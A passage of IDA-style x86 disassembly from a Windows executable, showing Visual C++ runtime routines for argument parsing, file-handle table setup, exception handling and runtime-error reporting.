		jz	short loc_41F3F5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F3F5
		mov	eax, edx
		jmp	short loc_41F3F8
; ---------------------------------------------------------------------------


loc_41F3F5:				; CODE XREF: sub_41F2D9+10Dj
					; sub_41F2D9+116j
		mov	[ebp+arg_0], edi


loc_41F3F8:				; CODE XREF: sub_41F2D9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41F406:				; CODE XREF: sub_41F2D9+106j
		shr	ebx, 1


loc_41F408:				; CODE XREF: sub_41F2D9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F41D
		inc	ebx


loc_41F410:				; CODE XREF: sub_41F2D9+142j
		test	esi, esi
		jz	short loc_41F418
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41F418:				; CODE XREF: sub_41F2D9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F410


loc_41F41D:				; CODE XREF: sub_41F2D9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F46D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F433
		cmp	dl, 20h
		jz	short loc_41F46D
		cmp	dl, 9
		jz	short loc_41F46D


loc_41F433:				; CODE XREF: sub_41F2D9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F467
		test	esi, esi
		jz	short loc_41F456
		movzx	ebx, dl
		test	byte_48B561[ebx], 4
		jz	short loc_41F44F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41F44F:				; CODE XREF: sub_41F2D9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F465
; ---------------------------------------------------------------------------


loc_41F456:				; CODE XREF: sub_41F2D9+162j
		movzx	edx, dl
		test	byte_48B561[edx], 4
		jz	short loc_41F465
		inc	eax
		inc	dword ptr [ecx]


loc_41F465:				; CODE XREF: sub_41F2D9+17Bj
					; sub_41F2D9+187j
		inc	dword ptr [ecx]


loc_41F467:				; CODE XREF: sub_41F2D9+15Ej
		inc	eax
		jmp	loc_41F3C5
; ---------------------------------------------------------------------------


loc_41F46D:				; CODE XREF: sub_41F2D9+148j
					; sub_41F2D9+153j ...
		test	esi, esi
		jz	short loc_41F475
		and	byte ptr [esi],	0
		inc	esi


loc_41F475:				; CODE XREF: sub_41F2D9+196j
		inc	dword ptr [ecx]
		jmp	loc_41F393
; ---------------------------------------------------------------------------


loc_41F47C:				; CODE XREF: sub_41F2D9+BDj
					; sub_41F2D9+D5j
		test	edi, edi
		jz	short loc_41F483
		and	dword ptr [edi], 0


loc_41F483:				; CODE XREF: sub_41F2D9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F2D9	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_48A1D0
		push	ebx
		push	ebp
		mov	ebp, dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F4DB
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F4BC
		mov	dword_48A1D0, 1
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------


loc_41F4BC:				; CODE XREF: ___:0041F4AEj
		nop
		call	near ptr 25D0B38h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F5B6
		mov	dword_48A1D0, 2
		jmp	loc_41F56A
; ---------------------------------------------------------------------------


loc_41F4DB:				; CODE XREF: ___:0041F4A6j
		cmp	eax, 1
		jnz	loc_41F565


loc_41F4E4:				; CODE XREF: ___:0041F4BAj
		cmp	esi, ebx
		jnz	short loc_41F4F4
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F5B6


loc_41F4F4:				; CODE XREF: ___:0041F4E6j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F509


loc_41F4FB:				; CODE XREF: ___:0041F500j
					; ___:0041F507j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB


loc_41F509:				; CODE XREF: ___:0041F4F9j
		sub	eax, esi
		mov	edi, dword_424150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F55A
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41F55A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41F556
		push	dword ptr [esp+10h]
		call	sub_417C3B
		pop	ecx
		mov	[esp+10h], ebx


loc_41F556:				; CODE XREF: ___:0041F546j
		mov	ebx, [esp+10h]


loc_41F55A:				; CODE XREF: ___:0041F526j
					; ___:0041F535j
		push	esi
		nop
		call	near ptr 25D0E75h
		mov	eax, ebx
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F565:				; CODE XREF: ___:0041F4DEj
		cmp	eax, 2
		jnz	short loc_41F5B6


loc_41F56A:				; CODE XREF: ___:0041F4D6j
		cmp	edi, ebx
		jnz	short loc_41F57A
		nop
		call	near ptr 25D0B38h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F5B6


loc_41F57A:				; CODE XREF: ___:0041F56Cj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F58A


loc_41F580:				; CODE XREF: ___:0041F583j
					; ___:0041F588j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580


loc_41F58A:				; CODE XREF: ___:0041F57Ej
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F5A0
		xor	esi, esi
		jmp	short loc_41F5AB
; ---------------------------------------------------------------------------


loc_41F5A0:				; CODE XREF: ___:0041F59Aj
		push	ebp
		push	edi
		push	esi
		call	sub_417390
		add	esp, 0Ch


loc_41F5AB:				; CODE XREF: ___:0041F59Ej
		push	edi
		nop
		call	near ptr 25E0000h
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F5B6:				; CODE XREF: ___:0041F4C6j
					; ___:0041F4EEj ...
		xor	eax, eax


loc_41F5B8:				; CODE XREF: ___:0041F563j
					; ___:0041F5B4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F5DF
		push	1Bh
		call	sub_419CDA
		pop	ecx


loc_41F5DF:				; CODE XREF: ___:0041F5D5j
		mov	dword_48B340, esi
		mov	dword_48B440, 20h
		lea	eax, [esi+100h]


loc_41F5F5:				; CODE XREF: ___:0041F611j
		cmp	esi, eax
		jnb	short loc_41F613
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_48B340
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F5F5
; ---------------------------------------------------------------------------


loc_41F613:				; CODE XREF: ___:0041F5F7j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2810000h
		cmp	word ptr [esp+42h], 0
		jz	loc_41F6EF
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41F6EF
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F649
		mov	esi, eax


loc_41F649:				; CODE XREF: ___:0041F645j
		cmp	dword_48B440, esi
		jge	short loc_41F6A3
		mov	edi, offset dword_48B344


loc_41F656:				; CODE XREF: ___:0041F699j
		push	100h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41F69D
		add	dword_48B440, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41F674:				; CODE XREF: ___:0041F68Ej
		cmp	eax, ecx
		jnb	short loc_41F690
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F674
; ---------------------------------------------------------------------------


loc_41F690:				; CODE XREF: ___:0041F676j
		add	edi, 4
		cmp	dword_48B440, esi
		jl	short loc_41F656
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------


loc_41F69D:				; CODE XREF: ___:0041F663j
		mov	esi, dword_48B440


loc_41F6A3:				; CODE XREF: ___:0041F64Fj
					; ___:0041F69Bj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F6EF


loc_41F6A9:				; CODE XREF: ___:0041F6EDj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F6E6
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F6E6
		test	cl, 8
		jnz	short loc_41F6C8
		push	eax
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	short loc_41F6E6


loc_41F6C8:				; CODE XREF: ___:0041F6BBj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41F6E6:				; CODE XREF: ___:0041F6AEj
					; ___:0041F6B6j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F6A9


loc_41F6EF:				; CODE XREF: ___:0041F624j
					; ___:0041F630j ...
		xor	ebx, ebx


loc_41F6F1:				; CODE XREF: ___:0041F754j
		mov	eax, dword_48B340
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F74C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F70C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F716
; ---------------------------------------------------------------------------


loc_41F70C:				; CODE XREF: ___:0041F705j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41F716:				; CODE XREF: ___:0041F70Aj
		push	eax
		nop
		call	near ptr 25D08DEh
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F73B
		push	edi
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	short loc_41F73B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F741


loc_41F73B:				; CODE XREF: ___:0041F722j
					; ___:0041F72Dj
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F750
; ---------------------------------------------------------------------------


loc_41F741:				; CODE XREF: ___:0041F739j
		cmp	eax, 3
		jnz	short loc_41F750
		or	byte ptr [esi+4], 8
		jmp	short loc_41F750
; ---------------------------------------------------------------------------


loc_41F74C:				; CODE XREF: ___:0041F6FDj
		or	byte ptr [esi+4], 80h


loc_41F750:				; CODE XREF: ___:0041F73Fj
					; ___:0041F744j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F6F1
		push	dword_48B440
		nop
		call	near ptr 25D0A9Ah
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F774	proc near		; DATA XREF: sub_41CFF1+Ao
					; sub_41D120+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F814
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41F7A7:				; CODE XREF: sub_41F774+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F80D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F7FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F7FB
		js	short loc_41F806
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4181A0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4181E2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_418276
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41F7FB:				; CODE XREF: sub_41F774+40j
					; sub_41F774+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F7A7
; ---------------------------------------------------------------------------


loc_41F806:				; CODE XREF: sub_41F774+54j
		mov	eax, 0
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F80D:				; CODE XREF: sub_41F774+36j
		mov	eax, 1
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F814:				; CODE XREF: sub_41F774+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41F829:				; CODE XREF: sub_41F774+97j
					; sub_41F774+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F774	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F84C	proc near		; CODE XREF: sub_419CDA+9p
		mov	eax, dword_48A068
		cmp	eax, 1
		jz	short loc_41F863
		test	eax, eax
		jnz	short locret_41F884
		cmp	dword_439594, 1
		jnz	short locret_41F884


loc_41F863:				; CODE XREF: sub_41F84C+8j
		push	0FCh
		call	sub_41F885
		mov	eax, dword_48A1D4
		pop	ecx
		test	eax, eax
		jz	short loc_41F879
		call	eax


loc_41F879:				; CODE XREF: sub_41F84C+29j
		push	0FFh
		call	sub_41F885
		pop	ecx

locret_41F884:				; CODE XREF: sub_41F84C+Cj
					; sub_41F84C+15j
		retn
sub_41F84C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_419CDA+12p
					; sub_41F84C+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43BC28


loc_41F898:				; CODE XREF: sub_41F885+20j
		cmp	edx, [eax]
		jz	short loc_41F8A7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43BCB8
		jl	short loc_41F898


loc_41F8A7:				; CODE XREF: sub_41F885+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43BC28[esi]
		jnz	loc_41F9D5
		mov	eax, dword_48A068
		cmp	eax, 1
		jz	loc_41F9AF
		test	eax, eax
		jnz	short loc_41F8D8
		cmp	dword_439594, 1
		jz	loc_41F9AF


loc_41F8D8:				; CODE XREF: sub_41F885+44j
		cmp	edx, 0FCh
		jz	loc_41F9D5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_41F90F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_41F90F:				; CODE XREF: sub_41F885+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F952
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418C10
		add	esp, 10h


loc_41F952:				; CODE XREF: sub_41F885+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4179C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_A0]
		push	offset asc_424BA8 ; "\n\n"
		push	eax
		call	sub_4179D0
		push	off_43BC2C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4179D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42105F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F9D5
; ---------------------------------------------------------------------------


loc_41F9AF:				; CODE XREF: sub_41F885+3Cj
					; sub_41F885+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43BC2C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 25D08DEh
		push	eax
		nop
		call	near ptr 2620000h


loc_41F9D5:				; CODE XREF: sub_41F885+2Ej
					; sub_41F885+59j ...
		pop	esi
		leave
		retn
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_419D23+6Cp
					; sub_41E248+32p ...

arg_0		= dword	ptr  4

		inc	dword_48A1D8
		push	1000h
		call	sub_417B89
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41FA01
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------


loc_41FA01:				; CODE XREF: sub_41F9D8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41FA12:				; CODE XREF: sub_41F9D8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA1C	proc near		; CODE XREF: sub_419D23+61p
					; sub_41A8A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jb	short loc_41FA2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41FA2B:				; CODE XREF: sub_41FA1C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41FA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA42	proc near		; DATA XREF: ___:00426020o
		mov	eax, dword_48B320
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41FA56
		mov	eax, 200h
		jmp	short loc_41FA5C
; ---------------------------------------------------------------------------


loc_41FA56:				; CODE XREF: sub_41FA42+Bj
		cmp	eax, esi
		jge	short loc_41FA61
		mov	eax, esi


loc_41FA5C:				; CODE XREF: sub_41FA42+12j
		mov	dword_48B320, eax


loc_41FA61:				; CODE XREF: sub_41FA42+16j
		push	4
		push	eax
		call	sub_4210E8
		pop	ecx
		mov	dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	4
		push	esi
		mov	dword_48B320, esi
		call	sub_4210E8
		pop	ecx
		mov	dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	1Ah
		call	sub_419CDA
		pop	ecx


loc_41FA95:				; CODE XREF: sub_41FA42+30j
					; sub_41FA42+49j
		xor	ecx, ecx
		mov	eax, offset off_43BCB8


loc_41FA9C:				; CODE XREF: sub_41FA42+6Ej
		mov	edx, dword_48A310
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43BF38
		jl	short loc_41FA9C
		xor	edx, edx
		mov	ecx, offset dword_43BCC8


loc_41FAB9:				; CODE XREF: sub_41FA42+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_48B340[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FAD6
		test	eax, eax
		jnz	short loc_41FAD9


loc_41FAD6:				; CODE XREF: sub_41FA42+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41FAD9:				; CODE XREF: sub_41FA42+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43BD28
		jl	short loc_41FAB9
		pop	esi
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE7	proc near		; DATA XREF: ___:00426030o

; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES

		call	sub_41A82C
		cmp	byte_48A054, 0
		jz	short locret_41FAFA
		jmp	loc_421199
; ---------------------------------------------------------------------------

locret_41FAFA:				; CODE XREF: sub_41FAE7+Cj
		retn
sub_41FAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAFB	proc near		; CODE XREF: sub_419E38+2D4p
					; sub_419E38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41FB07
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FB07:				; CODE XREF: sub_41FAFB+8j
		cmp	dword_48A0A8, 0
		jnz	short loc_41FB22
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41FB54
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FB22:				; CODE XREF: sub_41FAFB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_4397AC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_48A0B8
		nop
		call	near ptr 2790000h
		test	eax, eax
		jz	short loc_41FB54
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB61


loc_41FB54:				; CODE XREF: sub_41FAFB+1Ej
					; sub_41FAFB+51j
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh


loc_41FB61:				; CODE XREF: sub_41FAFB+57j
		pop	ebp
		retn
sub_41FAFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB63	proc near		; CODE XREF: sub_41A642+5Ep
					; sub_41EB6C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424BE8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_48A1DC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41FBD2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25C0000h
		test	eax, eax
		jz	short loc_41FBB0
		mov	eax, esi
		jmp	short loc_41FBCD
; ---------------------------------------------------------------------------


loc_41FBB0:				; CODE XREF: sub_41FB63+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	ebx
		call	near ptr 25C0792h
		nop
		test	eax, eax
		jz	loc_41FC98
		push	2
		pop	eax


loc_41FBCD:				; CODE XREF: sub_41FB63+4Bj
		mov	dword_48A1DC, eax


loc_41FBD2:				; CODE XREF: sub_41FB63+2Fj
		cmp	eax, 2
		jnz	short loc_41FBFB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41FBE3
		mov	eax, dword_48A0A8


loc_41FBE3:				; CODE XREF: sub_41FB63+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 25C0792h
		nop
		jmp	loc_41FC9A
; ---------------------------------------------------------------------------


loc_41FBFB:				; CODE XREF: sub_41FB63+72j
		cmp	eax, 1
		jnz	loc_41FC98
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41FC11
		mov	eax, dword_48A0B8
		mov	[ebp+arg_10], eax


loc_41FC11:				; CODE XREF: sub_41FB63+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2610000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41FC98
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41FC67:				; CODE XREF: sub_41FB63+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41FC98
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2610000h
		cmp	eax, ebx
		jz	short loc_41FC98
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 25C0000h
		nop
		jmp	short loc_41FC9A
; ---------------------------------------------------------------------------


loc_41FC98:				; CODE XREF: sub_41FB63+61j
					; sub_41FB63+9Bj ...
		xor	eax, eax


loc_41FC9A:				; CODE XREF: sub_41FB63+93j
					; sub_41FB63+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAC	proc near		; CODE XREF: sub_41FEC6:loc_42003Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_48B340


loc_41FCBB:				; CODE XREF: sub_41FCAC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FCF8
		lea	edx, [eax+100h]


loc_41FCC7:				; CODE XREF: sub_41FCAC+28j
		cmp	eax, edx
		jnb	short loc_41FCE7
		test	byte ptr [eax+4], 1
		jz	short loc_41FCD6
		add	eax, 8
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------


loc_41FCD6:				; CODE XREF: sub_41FCAC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FD3B


loc_41FCE7:				; CODE XREF: sub_41FCAC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_48B440
		jl	short loc_41FCBB
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FCAC+13j
		mov	esi, 100h
		push	esi
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41FD3B
		add	dword_48B440, 20h
		lea	ecx, ds:48B340h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41FD1E:				; CODE XREF: sub_41FCAC+88j
		cmp	eax, edx
